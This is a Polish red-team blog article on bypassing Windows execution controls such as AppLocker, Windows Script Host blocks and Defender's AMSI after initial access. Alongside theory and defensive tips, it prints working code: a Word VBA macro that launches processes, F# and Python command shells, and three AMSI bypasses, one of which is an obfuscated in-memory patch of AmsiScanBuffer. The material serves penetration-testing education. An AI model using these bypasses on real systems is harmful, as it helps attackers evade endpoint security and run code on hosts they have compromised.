Code Execution

Karol Mazurek

Wstęp

Jednym z wyzwań w trakcie operacji Red Teamowych po uzyskaniu początkowego dostępu jest wykonywanie kodu na utwardzonych systemach. Środowiska korporacyjne często wdrażają dodatkowe zabezpieczenia, takie jak AppLocker i Endpoint Detection and Response (EDR).

Te narzędzia umożliwiają administratorom tworzenie reguł opartych na różnych kryteriach, takich jak ścieżki plików, wydawcy, skróty, rozszerzenia itp. Reguły te dyktują, która aplikacja może działać, a ich egzekwowanie jest możliwe na poszczególnych maszynach lub całych domenach sieciowych.

Jednak, podobnie jak w przypadku wszystkich innych środków bezpieczeństwa, te zabezpieczenia nie są nie do przełamania. Ten artykuł zgłębia zaawansowane techniki omijania takich ograniczeń, opierając się na poprzednim artykule: Red Team Trickery, w którym opisywaliśmy metody na uzyskanie początkowego dostępu. Przyjrzymy się tym zabezpieczeniom i przedstawimy jak wygląda proces ich obchodzenia od kuchni. Miłej lektury!

TEORIA – Zrozumienie fazy Wykonania

Wykonanie jest krytyczne w cyklu życia cyberataku. Głównym celem tej fazy jest uruchomienie terminala (cmd.exe | powershell.exe) lub pośrednie wykonanie poleceń systemowych w celu przeprowadzenia złośliwych działań.

Wykonanie składa się z technik, które skutkują uruchomieniem kodu kontrolowanego przez osobę atakującą w lokalnym lub zdalnym systemie. Techniki, które uruchamiają złośliwy kod, są często łączone z technikami ze wszystkich innych taktyk, aby osiągnąć szersze cele, takie jak eksploracja sieci lub kradzież danych. Na przykład osoba atakująca może użyć narzędzia dostępu zdalnego do uruchomienia skryptu PowerShell i dalej, przeprowadzić rekonesans infrastruktury wewnętrznej.

Execution, Tactic TA0002 – Enterprise | MITRE ATT&CK®

Kluczowe Aspekty Wykonania

  • Wszechstronność: Techniki mogą być stosowane na różnych etapach ataku, od początkowego dostepu, przez eskalację uprawnień, aż do pełnej kompromitacj. Służą jako pomost między różnymi taktykami, umożliwiając osobie atakującej przechodzenie przez łańcuch ataku.
  • Typy kodu: Wykonanie może obejmować uruchamianie skryptów, plików binarnych, poleceń, a nawet wykorzystywanie legalnych narzędzi systemowych do złośliwych celów. Ta wszechstronność utrudnia wykrywanie i zapobieganie (np. uruchamianie Virtual Basic jako makro w programie Word).
  • Poziomy uprawnień: Techniki mogą działać na różnych poziomach uprawnień, od użytkownika, przez usługę, po poziom systemu, w zależności od bieżącego dostępu i celów osoby atakującej (np. uruchamianie kodu w kontekście aplikacji internetowej).
  • Połączenie unikania: Techniki są ściśle powiązane z unikaniem obrony, ponieważ osoby atakujące często muszą ominąć dodatkowe kontrole bezpieczeństwa, aby pomyślnie wykonać swój kod (np. obejście AMSI).

Typowe techniki Wykonania

W Execution, Tactic TA0002—Enterprise | MITRE ATT&CK® możemy przeczytać o różnych technikach wykonywania kodu po uzyskaniu początkowego dostępu do maszyny docelowej. Chociaż techniki nie opisują wszystkich możliwości, to stanowią dobry punkt wyjścia. Poniżej znajduje się lista zawierająca tylko główne punkty z krótszym opisem, aby zilustrować typowe techniki stosowane przez osoby atakujące:

  • Interpreter poleceń i skryptów: korzystanie z wbudowanych interfejsów wiersza poleceń lub języków skryptowych, takich jak PowerShell, Python lub VBScript.
  • Polecenie administracji kontenerem: wykorzystywanie usług zarządzania kontenerami, takich jak demon Docker lub serwer API Kubernetes, do wykonywania poleceń w kontenerach.
  • Wdrażanie kontenera: wdrażanie złośliwych kontenerów w celu ułatwienia wykonywania lub obejścia zabezpieczeń.
  • Wykorzystanie do wykonywania przez klienta: wykorzystywanie luk w aplikacjach klienckich do wykonywania dowolnego kodu.
  • Komunikacja międzyprocesowa (IPC): nadużywanie mechanizmów IPC do wykonywania kodu lokalnego, w tym:
    • Model obiektów komponentów (COM)
    • Dynamiczna wymiana danych (DDE)
    • Usługi XPC (macOS)
  • Natywny interfejs API: bezpośrednia interakcja z natywnymi interfejsami API systemu operacyjnego w celu wykonywania operacji systemowych niskiego poziomu.
  • Zaplanowane zadanie/zadanie: nadużywanie funkcji planowania zadań w różnych systemach operacyjnych:
    • Harmonogram zadań systemu Windows
    • Zadania cron systemu Unix
    • Timery systemd
    • Zadania orkiestracji kontenerów
  • Wykonywanie bezserwerowe: wykorzystywanie usług obliczeniowych bezserwerowych w środowiskach chmurowych do uruchamiania złośliwego kodu.
  • Moduły współdzielone: ​​ładowanie złośliwych modułów współdzielonych w celu wykonywania ładunków w procesach.
  • Narzędzia wdrażania oprogramowania: wykorzystanie scentralizowanych narzędzi do zarządzania oprogramowaniem, takich jak SCCM, Altiris lub menedżery wdrażania w chmurze.
  • Usługi systemowe: nadużywanie usług systemowych lub demonów do wykonywania poleceń:
  • Wykonywanie przez użytkownika (inżynieria społeczna): oszukiwanie użytkowników w celu uruchomienia złośliwej zawartości:
    • Złośliwe łącza
    • Złośliwe pliki
    • Złośliwe obrazy (w tym obrazy usług w chmurze i obrazy kontenerów)
  • Instrumentacja zarządzania systemem Windows (WMI): wykorzystywanie WMI do wykonywania złośliwych poleceń i ładunków.
  • Polecenie administracji chmurą: nadużywanie usług zarządzania chmurą, takich jak AWS Systems Manager lub Azure RunCommand, do wykonywania poleceń na maszynach wirtualnych.

Lista obejmuje różne techniki wykonywania, obejmujące systemy poza Windows oraz metody dla chmury i kontenerów. Ta różnorodność jest ważna, ponieważ środowiska korporacyjne zawierają różne komponenty. Zapewnia to kompleksowy przegląd tego, w jaki sposób osoby atakujące mogą osiągnąć wykonanie kodu w różnych środowiskach i na różnych platformach. Tutaj skupimy się tylko na systemie Windows.

Znaczenie w łańcuchu ataków

Wykonanie często jest momentem, w którym atak przechodzi od potencjalnej do rzeczywistej szkody. Jest to moment, w którym kod osoby atakującej zaczyna aktywnie działać na systemie docelowym, umożliwiając dalsze działania, takie jak:

  • Rozpoznanie: uruchamianie skryptów w celu zebrania informacji o systemie lub sieci.
  • Eskalacja uprawnień: uruchamianie exploitów w celu uzyskania dostępu wyższego poziomu.
  • Ruch boczny (Lateral Movement): uruchamianie narzędzi do eksploracji i rozprzestrzeniania się w sieci.
  • Eksfiltracja danych: uruchamianie programów w celu zlokalizowania i przesłania poufnych danych.

Rozważania obronne

Aby przeciwdziałać technikom Wykonania, obrońcy powinni skupić się na następujących kwestiach:

  • Zasady kontroli aplikacji (takie jak AppLocker) w celu ograniczenia tego, co może zostać wykonane.
  • Rejestrowanie bloków skryptów i analiza w celu wykrywania złośliwych skryptów.
  • Wykrywanie oparte na zachowaniu w celu identyfikacji nietypowych wzorców wykonywania.
  • Zasada najmniejszych uprawnień w celu ograniczenia wpływu pomyślnego Wykonania kodu.
  • Regularne audyty systemu

Aby wytworzyć diament, musi on zostać poddany ekstremalnej presji. To samo dotyczy bezpieczeństwa systemu. Jedną z najskuteczniejszych metod zabezpieczania systemów jest poddanie ich audytowi przez Red Team. AFINE może zapewnić Ci tę usługę!

Wniosek

Zrozumienie tych technik jest kluczowe zarówno dla czerwonych, jak i niebieskich zespołów. Stanowi solidną podstawę do opracowywania i testowania różnych metod wykonywania kodu. Dla obrońców podkreśla znaczenie monitorowania i kontrolowania kodu, który może być uruchomiony w ich środowisku. Dla badaczy bezpieczeństwa stanowi punkt wyjścia do opracowywania nowych technik.

PRAKTYKA – Omijanie Polityk Wykonania

To druga część artykułu, w której zostaną przedstawione różne scenariusze z fazy Wykonania. Właśnie uzyskaliśmy wstępny dostęp do jednego z docelowych komputerów pracowników firmy.

Podczas rozpoznania odkryliśmy, że mamy dostęp do komputera z systemem Windows, który jest częścią wewnętrznej infrastruktury firmy za pośrednictwem Citrix Workspace. Możemy zalogować się do tego wewnętrznego systemu.

Jednak system wygląda na utwardzony po zalogowaniu, ponieważ nie możemy uzyskać dostępu do dysku C:/ ani uruchomić terminala. Wygląda na to, że pracujemy z zamontowanego dysku sieciowego.

Tak wygląda nasza startowa sytuacja:

Próba dostępu do C:\Windows\Tasks directly z File Explorer’a.

Obchodzenie polityk anty-wywiadowczych

W takim scenariuszu pierwszą rzeczą, którą powinniśmy osiągnąć, jest ominięcie ograniczenia dostępu do lokalnych dysków maszyny. Naszym głównym celem jest dostęp do dysku C:/ w celu zenumerowania zainstalowanego oprogramowania i naszego dostępu do poszczególnych plików.

Na pulpicie możemy zobaczyć, że przeglądarka Chrome jest zainstalowana i dostępna. Możemy jej użyć, aby ominąć ograniczenie, przechodząc do: file:///C:/ (możemy również użyć Edge, który jest domyślnym oprogramowaniem):

Jednak pierwsze obejście pozbawia nas uprawnień Eksploratora plików, takich jak możliwość przenoszenia, usuwania i modyfikowania danych. Lepszym sposobem jest użycie paska wyszukiwania Windows do enumeracji oprogramowania zainstalowanego domyślnie na lokalnym dysku C:/, a następnie użyciu opcji Otwórz lokalizację pliku, aby uzyskać do niego dostęp:

Ta sztuczka otwiera Eksplorator plików pośrednio przez pasek wyszukiwania, omijając ograniczenie. Pokazuje nam zawartość katalogu C:/Windows/System32 i daje nam „ulepszony” Eksplorator plików, którego możemy swobodnie używać do przechodzenia przez inne katalogi:

Innym sposobem, który może działać jako obejście takich ograniczeń, jest użycie skrótów. Tworzymy na pulpicie skrót do ścieżki C:/, a następnie klikamy go dwukrotnie, aby ponownie uruchomić:

Ostatnim uniwersalnym obejściem, którego możemy użyć, jest Run Dialog. Możemy je uruchomić za pomocą kombinacji Win+R lub bezpośrednio w pasku wyszukiwania Windows, ale tym razem nie używamy lokalizacji Open File. Zamiast tego klikamy na program, który ma zostać uruchomiony. Sztuczka polega na wyszukaniu C:, a następnie jego otworzeniu:

Jeżeli powyższe metody okażą się nieskuteczne, powinniśmy zenumerować jak najwięcej programów i wypróbować każdy z nich, do którego masz dostęp, próbując otworzyć popularne ścieżki takie jak:

C:/
C:/Windows/Tasks
C:/Windows/System32/cmd.exe

Po uzyskaniu dostępu do dysku C:/ lokalnej maszyny możemy dalej enumerować zainstalowane oprogramowanie, które może pomóc w wykonywaniu kodu. Podczas rozpoznania powinniśmy pamiętać o teorii, którą przedstawiliśmy powyżej.

Enumerowanie polityk

Typowe metody enumeracji polityk nie działają, ponieważ wymagają dostępu do Powershella, terminala lub rejestrów. Jeśli mamy dostęp do Powershella, możemy enumerować zasady App Locker w następujący sposób:

# XML format:
Get-AppLockerPolicy -Effective -XML > AppLockerPolicy.xml

# Human readable format:
Get-AppLockerPolicy -Effective | Format-List

# Even more readable format: 
Import-Module AppLocker
Get-AppLockerPolicy -Effective | Get-AppLockerFileInformation -EventLog -Statistics | Format-List
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

# From registers:
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

W przypadku terminala Windows (cmd.exe) możemy zamiast tego użyć poniższego polecenia:

# Checking if App Locker is running
sc query appidsvc

# Dumping all policies (GPO & App Locker)
gpresult /r > gpresult_output.txt

Na koniec, jeśli mamy dostęp do rejestrów, polecenie wygląda następująco:

reg export "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2" AppLockerPolicy.reg

Niestety, często nie mamy dostępu do powyższych metod w utwardzonych systemach. Tutaj znów pojawia się Run Dialog, którego możemy użyć do uruchomienia poleceń gpresult podobnie jak w cmd.exe:

gpresult /h C:\temp\gp_security.html /f

Możemy również po prostu użyć gpedit.msc, aby wyświetlić polityki:

Jednakże nie będzie tu ograniczeń tworzonych bezpośrednio w rejestrach, takich jak te pokazane poniżej.

Stare, ale złote – Word VBS

Ominęliśmy zasady utrudniające rozpoznanie. Uzyskaliśmy dostęp do dysku C:/. Czas na Wykonanie. Najpierw możemy spróbować utworzyć i wykonać skrypt VBS z pulpitu. Jednak jest to zablokowane:

Dzieje się tak, ponieważ opcja Enabled w HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings jest ustawiona na 0. Blokuje ona WSH, który jest naszym domyślnym interpreterem VBS w systemie Windows.

Na szczęście dla nas istnieje Microsoft Office Word, w którym możemy używać funkcji makr do pośredniego wykonywania kodu VBS. Poniżej znajduje się przykład, który pokazuje, jak używać zapytań do niskopoziomowych endpointów API systemu Windows w celu wykSonywania poleceń.

To ominie zarówno ograniczenia cmd.exe (nie uruchamiamy terminala), jak i ograniczenia WSH. Kod po prostu zapisuje dane wyjściowe polecenia whoami do pliku C:/temp/test.txt:

Option Explicit

Private Declare PtrSafe Function CreatePipe Lib "kernel32" ( _
    phReadPipe As LongPtr, _
    phWritePipe As LongPtr, _
    lpPipeAttributes As Any, _
    ByVal nSize As Long) As Long

Private Declare PtrSafe Function CreateProcessA Lib "kernel32" ( _
    ByVal lpApplicationName As LongPtr, _
    ByVal lpCommandLine As String, _
    ByVal lpProcessAttributes As LongPtr, _
    ByVal lpThreadAttributes As LongPtr, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    ByVal lpEnvironment As LongPtr, _
    ByVal lpCurrentDirectory As LongPtr, _
    lpStartupInfo As STARTUPINFO, _
    lpProcessInformation As PROCESS_INFORMATION) As Long

Private Declare PtrSafe Function ReadFile Lib "kernel32" ( _
    ByVal hFile As LongPtr, _
    lpBuffer As Any, _
    ByVal nNumberOfBytesToRead As Long, _
    lpNumberOfBytesRead As Long, _
    ByVal lpOverlapped As LongPtr) As Long

Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
    ByVal hObject As LongPtr) As Long

Private Declare PtrSafe Function SetHandleInformation Lib "kernel32" ( _
    ByVal hObject As LongPtr, _
    ByVal dwMask As Long, _
    ByVal dwFlags As Long) As Long

Private Type STARTUPINFO
    cb As Long
    lpReserved As LongPtr
    lpDesktop As LongPtr
    lpTitle As LongPtr
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As LongPtr
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As LongPtr
    bInheritHandle As Long
End Type

Private Const CREATE_NO_WINDOW As Long = &H8000000
Private Const STARTF_USESTDHANDLES As Long = &H100
Private Const HANDLE_FLAG_INHERIT As Long = &H1

Public Sub RunWhoAmI()
    Dim si As STARTUPINFO
    Dim pi As PROCESS_INFORMATION
    Dim hRead As LongPtr
    Dim hWrite As LongPtr
    Dim sa As SECURITY_ATTRIBUTES
    Dim buffer(1024) As Byte
    Dim bytesRead As Long
    Dim command As String
    Dim filePath As String
    Dim fileNum As Integer

    ' Initialize security attributes
    sa.nLength = Len(sa)
    sa.lpSecurityDescriptor = 0
    sa.bInheritHandle = 1

    ' Create a pipe for the child process's STDOUT
    If CreatePipe(hRead, hWrite, sa, 0) = 0 Then
        MsgBox "Failed to create pipe."
        Exit Sub
    End If

    ' Ensure the read handle to the pipe for STDOUT is not inherited
    If SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0) = 0 Then
        MsgBox "Failed to set handle information."
        Exit Sub
    End If

    ' Initialize the STARTUPINFO structure
    si.cb = Len(si)
    si.dwFlags = STARTF_USESTDHANDLES
    si.hStdOutput = hWrite
    si.hStdError = hWrite

    ' Prepare the command to run
    command = "whoami"

    ' Create the child process
    If CreateProcessA(0, command, 0, 0, 1, CREATE_NO_WINDOW, 0, 0, si, pi) = 0 Then
        MsgBox "Failed to create process."
        Exit Sub
    End If

    ' Close the write end of the pipe before reading from the read end of the pipe
    CloseHandle hWrite

    ' Read output from the child process
    filePath = "C:\temp\test.txt"
    fileNum = FreeFile
    Open filePath For Output As #fileNum

    Do While ReadFile(hRead, buffer(0), UBound(buffer), bytesRead, ByVal 0&) <> 0 And bytesRead > 0
        Print #fileNum, Left$(StrConv(buffer, vbUnicode), bytesRead)
    Loop

    Close #fileNum

    ' Close the handles
    CloseHandle hRead
    CloseHandle pi.hProcess
    CloseHandle pi.hThread

    MsgBox "Output written to " & filePath
End Sub

Po wykonaniu makra możemy zobaczyć plik test.txt z danymi wyjściowymi:

Co zaskakujące, takie obejście często działa w przypadku testów utwardzonych środowisk.

Dotnet F#

Generalnie, instalowanie dotnet w utwardzonym środowisku nie jest dobrym pomysłem. Jednak może się zdarzyć, że dotnet jest zainstalowany, ale również utwardzony, aby zezwalać tylko na określone polecenia lub nie uruchamiać się wcale. W naszym przypadku zezwalał tylko na argument fsi.

https://learn.microsoft.com/en-gb/dotnet/fsharp/tools/fsharp-interactive/
# The FSI executable can be found here:
C:\Program Files\dotnet\sdk\[sdk version]\FSharp\fsi.exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsi.exe

Możliwe jest wykorzystanie języka F# do wykonania następujących poleceń systemowych:

open System

type ProcessResult = { 
    ExitCode : int; 
    StdOut : string; 
    StdErr : string 
}

let executeProcess (processName: string) (processArgs: string) =
    let psi = new Diagnostics.ProcessStartInfo(processName, processArgs) 
    psi.UseShellExecute <- false
    psi.RedirectStandardOutput <- true
    psi.RedirectStandardError <- true
    psi.CreateNoWindow <- true        
    let proc = Diagnostics.Process.Start(psi) 
    let output = new Text.StringBuilder()
    let error = new Text.StringBuilder()
    proc.OutputDataReceived.Add(fun args -> output.Append(args.Data) |> ignore)
    proc.ErrorDataReceived.Add(fun args -> error.Append(args.Data) |> ignore)
    proc.BeginErrorReadLine()
    proc.BeginOutputReadLine()
    proc.WaitForExit()
    { ExitCode = proc.ExitCode; StdOut = output.ToString(); StdErr = error.ToString() };;
 
let result = executeProcess "whoami" ""
printfn "StdOut: %s" result.StdOut;;

Możemy również zmodyfikować powyższy kod, aby zbudować pseudoterminal:

open System
open System.Diagnostics

type ProcessResult = { 
    ExitCode : int; 
    StdOut : string; 
    StdErr : string 
}

let executeProcess (processName: string) (processArgs: string) : ProcessResult =
    let psi = new ProcessStartInfo(processName, processArgs) 
    psi.UseShellExecute <- false
    psi.RedirectStandardOutput <- true
    psi.RedirectStandardError <- true
    psi.CreateNoWindow <- true        

    let output = new System.Text.StringBuilder()
    let error = new System.Text.StringBuilder()

    try
        use proc = Process.Start(psi) 
        proc.OutputDataReceived.Add(fun args -> output.AppendLine(args.Data) |> ignore)
        proc.ErrorDataReceived.Add(fun args -> error.AppendLine(args.Data) |> ignore)
        proc.BeginErrorReadLine()
        proc.BeginOutputReadLine()
        proc.WaitForExit()

        { ExitCode = proc.ExitCode; StdOut = output.ToString(); StdErr = error.ToString() }
    with
    | :? System.ComponentModel.Win32Exception as win32Ex ->
        { ExitCode = -1; StdOut = ""; StdErr = sprintf "Win32 Exception: %s" win32Ex.Message }
    | ex ->
        { ExitCode = -1; StdOut = ""; StdErr = sprintf "Exception: %s" ex.Message }

// Function to parse the user command and execute it
let rec executeTerminalCommand () =
    printf "> "
    let command = System.Console.ReadLine()
    match command.ToLowerInvariant() with
    | "exit" -> printfn "Exiting..."
    | "" -> executeTerminalCommand () // Handle empty input
    | _ ->
        let parts = command.Split [| ' ' |] // Split command into parts by spaces
        let cmd = parts.[0]
        let args = String.Join(" ", parts.[1..]) // Join the remaining parts as arguments
        let result = executeProcess cmd args
        printfn "Exit Code: %d" result.ExitCode
        if not (String.IsNullOrWhiteSpace result.StdOut) then printfn "StdOut:\n%s" result.StdOut
        if not (String.IsNullOrWhiteSpace result.StdErr) then printfn "StdErr:\n%s" result.StdErr
        executeTerminalCommand ()

// Entry point
executeTerminalCommand ()

To obejście nie jest jednak tak powszechne, jak to pokazane powyżej w Wordzie, ponieważ dotnet zwykle nie jest zainstalowany, a gdy jest, jest całkowicie zablokowany. Celem pokazania tego tutaj jest zwrócenie uwagi na sprawdzanie każdego argumentu i funkcji danego narzędzia, do którego możemy uzyskać dostęp.

Windows signed Software – Microsoft Store

Zasady App Locker są zazwyczaj konfigurowane tak, aby zezwolić na uruchamianie na komputerze oprogramowania podpisanego przez Windows lub Store. Ten punkt pokazuje, dlaczego zezwalanie na nieograniczony dostęp do Microsoft Store jest złym pomysłem.

Sklep Microsoft umożliwia instalację różnego oprogramowania firm trzecich. Nawet jeśli instalacja została zablokowana przez msi.exe, może to ją ominąć i zainstalować oprogramowanie firm trzecich. To ogromna luka w utwardzaniu hosta. Niestety, jest to powszechnie widoczne w ocenach. Najprostszym zastosowaniem tego do obejścia ograniczeń wykonywania jest zainstalowanie interpretera, takiego jak Python.

Python

Nie możemy użyć run import os; os.system('whoami'), ponieważ uruchamia to cmd.exe pod spodem i jest blokowane przez zasady App Locker. Potrzebujemy podobnego sposobu, jak w przypadku obejścia Worda.

Na szczęście podproces pozwala nam wykonywać polecenia systemowe nie w kontekście cmd.exe. Sztuczka polega na użyciu shell=False:

import subprocess; 
subprocess.run(["whoami"], shell=False, stdout=subprocess.PIPE)

Mając te informacje, możemy zbudować proste opakowanie, takie jak to poniżej:

import subprocess;
def cmd(command):
    print(subprocess.run(command, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout)

Możemy pójść o krok dalej i zbudować pseudo-terminal taki jak w F#:

import subprocess

def custom_cmd():
    while True:
        user_input = input("CustomShell> ")
        if user_input.lower() == "exit":
            break
        args = user_input.split()
        result = subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        print(result.stdout)
        if result.stderr:
            print("Error:", result.stderr)

custom_cmd()

W ten sposób możemy wykonywać polecenia systemowe podobnie jak cmd.exe.

Słowo o AMSI

Jeśli w jakiś sposób uda nam się użyć poleceń PowerShell (na przykład używając .NET Framework z przestrzenią nazw System.Management.Automation w C# do wykonywania poleceń programowo), możemy napotkać Microsoft Defender, który blokuje nam uruchamianie niektórych poleceń.

AMSI.DLL jest ładowany z dysku do swojej przestrzeni adresowej, gdy tworzony jest proces PowerShell. Microsoft Defender najpierw przeskanuje całą dostarczoną zawartość przed wykonaniem.

W środowisku korporacyjnym powszechnie znane obejście amsiInitFailed, które umożliwia odłączenie AMSI.dll, jest blokowane przez niektóre reguły w większości przypadków. Oto typowego obejście:

$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like '*iUtils') {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like '*Failed') {$f = $e}}
$f.SetValue($null,$true)

Jednak ze względu na naturę Powershell, niestety nie da się w pełni załatać tego uniwersalnego obejścia. Osoba atakująca może użyć zaciemnionego obejścia, które pokazano poniżej:

$R=[Ref]."Assembly"
$T='S'+'y'+'st'+'em.'+'Ma'+'na'+'gement.'+'Auto'+'mat'+'ion.'+'Amsi'+'U'+'tils'
$G='Get'+'Type'
$F='Get'+'Fie'+'ld'
$V='Set'+'Va'+'lue'
$F2='Non'+'Public,'+'Static'
$R.$G($T).$F('amsi'+'Init'+'Failed',$F2).$V($null,$true)

Innym sposobem jest zaciemnianie poleceń za pomocą AMSI.fail. Na stronie wygenerujemy zaciemniony kod PowerShell, który umożliwia obejście AMSI dla bieżącego procesu:

Ważne jest, aby pamiętać, że inne ograniczenie, .NET AMSI, działa nawet wtedy, gdy AMSI.dll jest omijane za pomocą powyższych technik. Jednak na to istnieje też sposób:

$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $ZQCUW

$BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('&#97;&#109;&#115;&#105;&#46;&#100;&#108;&#108;'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('&#65;&#109;&#115;&#105;&#83;&#99;&#97;&#110;&#66;&#117;&#102;&#102;&#101;&#114;'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)

Na komputerach z systemem Windows zawsze używany jest program Microsoft Defender, dlatego warto zapamiętać te obejścia.

Persistence – kolejny krok

Choć nie jest to konieczne, atakujący zazwyczaj wykonuje złośliwe działania w zagrożonym systemie tylko wtedy, gdy utrzymywana jest trwałość, co jest kolejnym krokiem w łańcuchu ataku. Niezależnie od tego, czy atakujący zdecyduje się na ustawienie pułapki, która pozwoli mu łatwo powrócić do systemu, czy nie, faza wykonania opisana w tym artykule nie może zostać pominięta, aby osiągnąć coś podczas rzeczywistego ataku.

Słowa końcowe

Artykuł tylko krótko omawiał omijanie zasad wykonywania kodu w systemie Windows. Wymienione metody są nadal skuteczne, ale istnieje ich znacznie więcej, a zależą one od wdrożonych zasad i ich błędnej konfiguracji. Warto sprawdzić poniższe linki w kontekście tematu omijania ograniczeń:

Jeśli interesuje Cię bezpieczeństwo systemu Windows, polecam śledzić Grzegorza Tworka. Jeśli treść tutaj jest trudna do zrozumienia, ale chcesz zacząć się uczyć, OSEP jest dobrym początkiem.

Zachęcam również do regularnego odwiedzania naszego bloga w celu zdobycia nowej wiedzy!

Karol Mazurek
Offensive Security Engineer

Czy Twoja firma jest bezpieczna w sieci?

Dołącz do grona naszych zadowolonych klientów i zabezpiecz swoją firmę przed cyberzagrożeniami już dziś!

Zostaw nam swoje dane kontaktowe, a nasz zespół skontaktuje się z Tobą, aby omówić szczegóły i dopasować ofertę do Twoich potrzeb. Dbamy o pełną dyskrecję i poufność Twoich danych, dlatego możesz nam zaufać.